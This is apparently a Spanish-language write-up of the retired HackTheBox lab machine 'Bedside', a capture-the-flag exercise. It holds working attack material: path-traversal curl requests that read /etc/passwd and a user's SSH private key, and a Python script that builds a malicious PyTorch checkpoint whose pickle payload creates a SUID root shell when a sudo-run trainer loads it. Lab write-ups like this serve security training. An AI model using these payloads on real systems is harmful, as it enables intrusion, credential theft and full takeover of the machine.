XUT_ / MACHINES / HTB

0097

Bedside

HTBMACHINERETIREDMEDIUM
LinuxDockerFile UploadCVEpdfminer.sixInsecure DeserializationPath TraversalSSHPyTorchSudoPrivilege Escalation

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando puertos abiertos en la máquina.

bedside

Ahora vamos a escanear dichos puertos más a fondo.

bedside

Vamos a listar directorios.

bedside

No hemos encontrado nada en directorios, así que vamos a meternos en la página web a ver cómo es.

bedside

No parece haber nada muy interesante, más allá de que se mencione varias veces el uso de IA. Vamos a listar Virtual Hosts.

bedside

Vamos a añadirlo a /etc/hosts. Una vez hecho comprobamos qué hay en la web, primero con una enumeración:

bedside

A primera vista parece que vamos a poder subir archivos (por el directorio /uploads). Y luego entrando a la web a ver qué hay.

bedside


Profundización

Vamos a investigar qué tipo de archivos podemos subir aquí. Al intentar subir una reverse shell en PHP nos dice lo siguiente:

bedside

Vamos a investigar con BurpSuite a ver qué observamos.

bedside

En la respuesta podemos observar el header X-Powered-By: pdfminer.six. Vamos a buscar información.


Explotación

CVE-2025-64512 - Deserialización Insegura en pdfminer.six

Con la información que tenemos vamos a ver si podemos realizar la explotación. Para ello tenemos que crear el pickle.gz y el .pdf. Vamos a empezar por el pickle.gz

Encontramos un PoC en GitHub sobre este CVE. Vamos a ejecutarlo:

bedside

Ahora nos ponemos en escucha por el puerto que hayamos indicado y subimos los documentos.

bedside

Una vez subidos, y con el listener abierto, vamos a ir al directorio /uploads/ para disparar el exploit.

bedside

Vamos a estabilizar la shell.

bedside

Path Traversal - Lectura Arbitraria de Archivos

Después de enumerar un rato nos damos cuenta de que estamos en un contenedor de Docker:

bedside

Además, encontramos un script porscan.sh en /tmp. Si lo ejecutamos:

bedside

Aquí podemos observar el puerto que antes aparecía como filtrado. Vamos a ver qué hay en él.

bedside

Es la página principal de la web. Probando diferentes peticiones nos damos cuenta de que existe una vulnerabilidad de Path Traversal, que podemos comprobar con una petición como:

bash
curl --path-as-is -s 'http://172.17.0.1:3000/..%2f..%2f..%2f..%2fetc%2fpasswd'

[!IMPORTANT] El parámetro --path-as-is lo utilizamos para que curl normalice los ...

bedside

Ahora que tenemos el nombre de la cuenta de la máquina real, vamos a ver si tiene una clave SSH que podamos leer para iniciar sesión en ella con el comando:

bash
curl --path-as-is -s 'http://172.17.0.1:3000/..%2f..%2f..%2f..%2fhome%2fdeveloper%2f.ssh%2fid_rsa' -o /tmp/developer_id_rsa

bedside

Con esta clave iniciamos sesión por SSH.

bedside

[!IMPORTANT] El parámetro IdentitiesOnly=yes evita rechazos por parte del servidor en caso de que nuestro ssh-agent tenga muchas claves privadas (este intenta probar todas y muchos servidores tienen un máximo de 6 intentos).

bedside


Escalada de Privilegios

Deserialización Insegura en Checkpoints PyTorch

Comenzamos la escalada de privilegios de la misma forma que siempre, con nuestra checklist.

bedside

Parece que hay un script que podemos ejecutar como sudo. Vamos a ver de qué se trata.

python
#!/usr/bin/env python3
"""
Bedside Clinic - MONAI trainer (v0.1.0-beta)

This software is an internal beta release intended for use by company staff and developers
for testing, experimentation, and development purposes only.

Key points:

- Staff must **exercise caution** and ensure proper backups of any data used with this tool.
- This tool should **not be used for clinical decision-making** or in patient care.
- Further development, testing, and validation are required before any production deployment.

Usage:
    python bedside_trainer.py [--epochs N] [--batch-size N] [--lr LR] [--scanner /dev/usbscanner0]

Notes:
- Root access is required if specifying a hardware scanner.
- RAW_DIR is currently a placeholder for future integration. Preprocessing features will be added in the future to handle more complex files (DICOM, NIfTI, etc.)
- Current data flow is as follows: [staging/] > [processed/] > (DataLoader) > model
- Script is currently fully functional with image files (jpeg, png, etc.). Refer to allowed extensions for supported types. 

"""

import os
import sys
import shutil
import argparse
from pathlib import Path
from datetime import datetime
import logging
import warnings
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.tensorboard import SummaryWriter
from torch.utils.data import DataLoader

# MONAI imports
warnings.filterwarnings("ignore", category=FutureWarning)
from monai.data import Dataset, CacheDataset
from monai.transforms import (
    Compose, LoadImaged, EnsureChannelFirstd, ScaleIntensityd,
    RandSpatialCropd, ToTensord, EnsureTyped, ResizeWithPadOrCropd
)
from monai.handlers import CheckpointLoader  # <-- Correct import

# --------------------------
# Datastore paths
# --------------------------
DATASTORE_ROOT = Path("/datastore")
CHECKPOINT_DIR = DATASTORE_ROOT / "checkpoints"
LOGS_DIR = DATASTORE_ROOT / "logs"
MODELS_DIR = DATASTORE_ROOT / "models"
PROCESSED_DIR = DATASTORE_ROOT / "processed"
RAW_DIR = DATASTORE_ROOT / "raw"
STAGING_DIR = DATASTORE_ROOT / "staging"

for d in (CHECKPOINT_DIR, LOGS_DIR, MODELS_DIR, PROCESSED_DIR, RAW_DIR, STAGING_DIR):
    d.mkdir(parents=True, exist_ok=True)

# --------------------------
# Logging setup
# --------------------------
log_file = LOGS_DIR / f"training_{datetime.now().strftime('%Y%m%d-%H%M%S')}.log"
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s | %(levelname)s | %(message)s",
    handlers=[
        logging.FileHandler(log_file),
        logging.StreamHandler(sys.stdout)
    ]
)
logger = logging.getLogger(__name__)

# --------------------------
# File types
# --------------------------
ALLOWED_EXTS = {
    "jpeg", "jpg", "png", "bmp", "tiff", "tif",
    "gif", "dcm", "ima", "mhd", "raw", "nrrd",
    "nii", "gz", "hdr", "img", "zip", "tar", "tar.gz", "7z",
    "pdf", "txt", "npy"
}

# --------------------------
# Device
# --------------------------
DEVICE = torch.device("cuda" if torch.cuda.is_available() else "cpu")

# --------------------------
# Utility functions
# --------------------------
def find_latest_checkpoint(checkpoint_dir: Path):
    ckpts = sorted(checkpoint_dir.glob("*.pt"), key=os.path.getmtime)
    return ckpts[-1] if ckpts else None

def is_nifti(p: Path):
    return p.suffix in (".nii", ".gz") and (p.name.endswith(".nii") or p.name.endswith(".nii.gz"))

def collect_processed_files(processed_dir: Path, limit=None):
    files = [p for p in processed_dir.glob("**/*") if p.is_file() and p.suffix.lower().lstrip(".") in ALLOWED_EXTS]
    if limit:
        files = files[:limit]
    return [{"image": str(p)} for p in files]

def conservative_promote_from_staging(staging_dir: Path, processed_dir: Path, max_files=100):
    promoted = 0
    for p in sorted(staging_dir.iterdir()):
        if promoted >= max_files:
            break
        if not p.is_file():
            continue
        ext = p.suffix.lower().lstrip(".")
        if ext in ALLOWED_EXTS:
            dest = processed_dir / p.name
            try:
                shutil.move(str(p), str(dest))
                promoted += 1
            except Exception as e:
                logger.warning(f"Failed to promote {p}: {e}")
    return promoted

def prepare_dataloader_from_processed(processed_dir: Path, batch_size: int):
    data = collect_processed_files(processed_dir)
    if not data:
        return None, 0

    contains_nifti = any(is_nifti(Path(d["image"])) for d in data)

    if contains_nifti:
        transforms = Compose([
            LoadImaged(keys=["image"]),
            EnsureChannelFirstd(keys=["image"]),
            ScaleIntensityd(keys=["image"]),
            RandSpatialCropd(keys=["image"], roi_size=(64,64,64), random_size=False),
            EnsureTyped(keys=["image"])
        ])
        dataset = CacheDataset(data=data, transform=transforms, cache_rate=1.0, num_workers=1)
    else:
        transforms = Compose([
            LoadImaged(keys=["image"]),
            EnsureChannelFirstd(keys=["image"]),
            ScaleIntensityd(keys=["image"]),
            ResizeWithPadOrCropd(keys=["image"], spatial_size=(64,64)),
            ToTensord(keys=["image"]),
            EnsureTyped(keys=["image"])
        ])
        dataset = Dataset(data=data, transform=transforms)

    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=1)
    return dataloader, len(data)

def build_model(dataloader=None, hidden_dim=128):
    if dataloader is None:
        raise ValueError("Dataloader must be provided to infer input size.")
    sample_batch = next(iter(dataloader))["image"].to(torch.device("cpu"))
    n_features = sample_batch.numel() // sample_batch.shape[0]
    logger.info(f"Auto-detected input features: {n_features}")
    model = nn.Sequential(
        nn.Flatten(),
        nn.Linear(n_features, hidden_dim),
        nn.ReLU(),
        nn.Linear(hidden_dim, 1)
    )
    return model

# --------------------------
# Main
# --------------------------
def main():
    parser = argparse.ArgumentParser(description="MONAI trainer with datastore integration")
    parser.add_argument("--epochs", "-e", type=int, default=50, help="Number of training epochs")
    parser.add_argument("--batch-size", "-b", type=int, default=4, help="Batch size")
    parser.add_argument("--lr", type=float, default=1e-3, help="Learning rate")
    parser.add_argument("--scanner", type=str, default=None, help="Hardware scanner device (requires root)")
    args = parser.parse_args()

    if args.scanner and os.geteuid() != 0:
        logger.error("Root access required to use a hardware scanner. Exiting.")
        sys.exit(1)

    NUM_EPOCHS = args.epochs
    BATCH_SIZE = args.batch_size
    LEARNING_RATE = args.lr
    SAVE_INTERVAL = 5

    logger.info(f"Device: {DEVICE}")

    dataloader, n_data = prepare_dataloader_from_processed(PROCESSED_DIR, BATCH_SIZE)
    if n_data == 0:
        promoted = conservative_promote_from_staging(STAGING_DIR, PROCESSED_DIR, max_files=200)
        if promoted:
            logger.info(f"Promoted {promoted} files from staging -> processed")
            dataloader, n_data = prepare_dataloader_from_processed(PROCESSED_DIR, BATCH_SIZE)
        else:
            logger.warning("No data available to train. Exiting.")
            return

    logger.info(f"Using {n_data} samples for training.")

    model = build_model(dataloader).to(DEVICE)
    optimizer = optim.Adam(model.parameters(), lr=LEARNING_RATE)
    loss_fn = nn.MSELoss()

    # --------------------------
    # Checkpoint loading (MONAI-compatible callable form)
    # --------------------------
    latest_ckpt = find_latest_checkpoint(CHECKPOINT_DIR)
    start_epoch = 0
    if latest_ckpt:
        logger.info(f"Found checkpoint {latest_ckpt}, loading with CheckpointLoader (callable mode)...")
        loader = CheckpointLoader(
            load_path=str(latest_ckpt),
            load_dict={"model": model, "optimizer": optimizer},
            map_location=DEVICE
        )

        # Minimal mock engine for MONAI handler compatibility
        class MockEngine:
            def __init__(self):
                self.state = type("State", (), {})()
                self.state.max_epochs = None
                self.state.epoch = 0

        engine = MockEngine()
        loader(engine)  # invoke the handler directly

        # Retrieve saved epoch if available
        if hasattr(engine.state, "epoch") and engine.state.epoch:
            start_epoch = engine.state.epoch
        elif hasattr(loader, "loaded_objects") and "epoch" in loader.loaded_objects:
            start_epoch = loader.loaded_objects["epoch"]

        logger.info(f"Resuming from epoch {start_epoch}")

    writer = SummaryWriter(log_dir=str(LOGS_DIR / datetime.now().strftime("%Y%m%d-%H%M%S")))

    # Training loop
    for epoch in range(start_epoch, NUM_EPOCHS):
        model.train()
        epoch_loss = 0.0
        for batch in dataloader:
            imgs = batch["image"].to(DEVICE)
            target = torch.zeros((imgs.shape[0], 1), device=DEVICE)

            optimizer.zero_grad()
            out = model(imgs)
            loss = loss_fn(out, target)
            loss.backward()
            optimizer.step()
            epoch_loss += float(loss.item())

        avg_loss = epoch_loss / max(1, len(dataloader))
        logger.info(f"[EPOCH {epoch+1}/{NUM_EPOCHS}] avg_loss: {avg_loss:.6f}")

        if (epoch + 1) % SAVE_INTERVAL == 0 or (epoch + 1) == NUM_EPOCHS:
            ckpt_payload = {
                "epoch": epoch + 1,
                "model": model.state_dict(),
                "optimizer": optimizer.state_dict()
            }
            ckpt_name = CHECKPOINT_DIR / f"checkpoint_epoch_{epoch+1}.pt"
            torch.save(ckpt_payload, ckpt_name)
            logger.info(f"Saved checkpoint: {ckpt_name}")

    # Save final model
    final_model_file = MODELS_DIR / f"final_model_{datetime.now().strftime('%Y%m%d-%H%M%S')}.pt"
    torch.save({"model": model.state_dict()}, final_model_file)
    logger.info(f"Saved final model: {final_model_file}")
    logger.info("Training completed.")
    writer.close()

if __name__ == "__main__":
    main()

El error principal aquí está en que el script busca el checkpoint .pt más reciente en /datastore/chekpoints y lo carga como root mediante CheckpointLoader. Este directorio es escribible por nosotros desde la shell de datawrangler, por lo que podemos introducir en checkpoint malicioso.

Para ello vamos a crearlo como developer:

bash
cat > /home/developer/make_checkpoint.py <<'PY'
import os
import torch

class Exploit:
    def __reduce__(self):
        command = (
            "rm -f /home/developer/rootbash2; "
            "cp /bin/bash /home/developer/rootbash2; "
            "chown root:root /home/developer/rootbash2; "
            "chmod 4755 /home/developer/rootbash2"
        )
        return os.system, (command,)

payload = {
    "epoch": 999,
    "model": Exploit(),
    "optimizer": {},
}

torch.save(payload, "/home/developer/malicious_checkpoint.pt")
print("Created /home/developer/malicious_checkpoint.pt")
PY

/usr/bin/python3 /home/developer/make_checkpoint.py
ls -lh /home/developer/malicious_checkpoint.pt

Este script:

  1. Elimina cualquier copia anterior.
  2. Copia /bin/bash a /home/developer/rootbash2.
  3. Le deja propiedad de root.
  4. Le asigna SUID.

bedside

Ahora lo servimos:

bedside

Y lo descargamos desde el contenedor con:

bash
curl -f http://172.17.0.1:8090/malicious_checkpoint.pt -o /datastore/checkpoints/checkpoint_epoch_9999.pt

Lo hacemos el checkpoint más reciente con:

bash
touch /datastore/checkpoints/checkpoint_epoch_9999.pt

Ahora necesitamos que haya imágenes válidas en el contenedor antes de llegar a la carga de los checkpoints. Así que subimos un par de PNGs/JPGs.

Ahora volvemos a la shell de developer y ejecutamos el comando permitido con sudo.

bedside

Aunque da "fallos" estos son insignificantes. Y como podemos apreciar, se ha creado un binario SUID con propietario root, por lo que ahora sólo nos queda ejecutarlo.

bedside

Y boom! Somos root. Ahora sólo queda leer la flag.


Conclusión

Una máquina bastante compleja, con diferentes vulnerabilidades que explotar. Hemos aprendido mucho sobre cómo funciona la deserialización y los problemas que puede acarrear.